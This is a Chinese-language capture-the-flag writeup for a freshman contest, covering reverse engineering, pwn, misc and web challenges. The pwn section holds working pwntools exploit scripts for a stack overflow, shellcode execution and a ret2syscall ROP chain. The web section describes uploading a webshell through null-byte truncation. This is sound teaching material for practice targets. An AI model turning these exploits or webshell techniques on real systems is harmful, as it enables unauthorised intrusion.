You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

79 lines
1.9 KiB
Markdown

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# 0x3f新生赛 Writeup
## Re
### R
下载可执行文件用IDA打开在main函数的最后发现一些mov将立即数用字符显示即得flag。
## Pwn
### pwn1
简单的栈溢出
```python
from pwn import *
pld='a'*0x20+'b'*8+p64(0x401182)
sh=process('./01')
sh.sendline(pld)
sh.interactive()
```
### pwn2
通过提示可以找到C++的全局变量初始化函数发现有mmap一块RWX的内存而立即数反汇编后是`jmp rsp`,栈又可执行,所以题解如下:
```python
from pwn import *
context.arch = 'amd64'
sh = process('./02')
pld = 'a' * 0x40 + 'b' * 8 + p64(0x666666660000) + asm(shellcraft.sh())
sh.sendline(pld)
sh.interactive()
```
### pwn3
没有pie静态链接显然是ret2syscall。用ROPgadget找到那些地址直接用就行了。注意当目标地址中含有`\x0a`的时候会导致输入截断,因为`'\n' == '\x0a'`。
```python
from pwn import *
adb=0x080570c4
cbx=0x0806f1b2
bsh=0x080dc068
i80=0x0804a31a
sh=process('./03')
pld=flat(['a'*0x30,'b'*4,adb,0xb,0,bsh,cbx,0,bsh,i80])
sh.sendline(pld)
sh.interactive()
```
## Misc
### cap
用提示给的网站修复cap获得修复后的pcap包跟踪TCP流发现有两个位置上是lf和ga将后面一系列包的这两位连起来就是flag了。
### picture
下载文件解压后获得图片用stegsolve打开发现绿色通道最低位仿佛有信息导出出来根据提升修复bmp header打开即见flag。
### 签到
复制粘贴,没啥好说的。
## Web
### upload
任意上传用burpsuite拦截上传请求使用0x00进行截断用这种方法上传一句话木马然后用中国菜刀类的工具浏览服务器目录很容易就能发现flag
### 404
打开开发者工具发现虽然看起来是404实际上是200flag就在http headers里面。
### ios88
将user-agent改成ios的然后把版本号都改成88就能在http headers里找到flag了。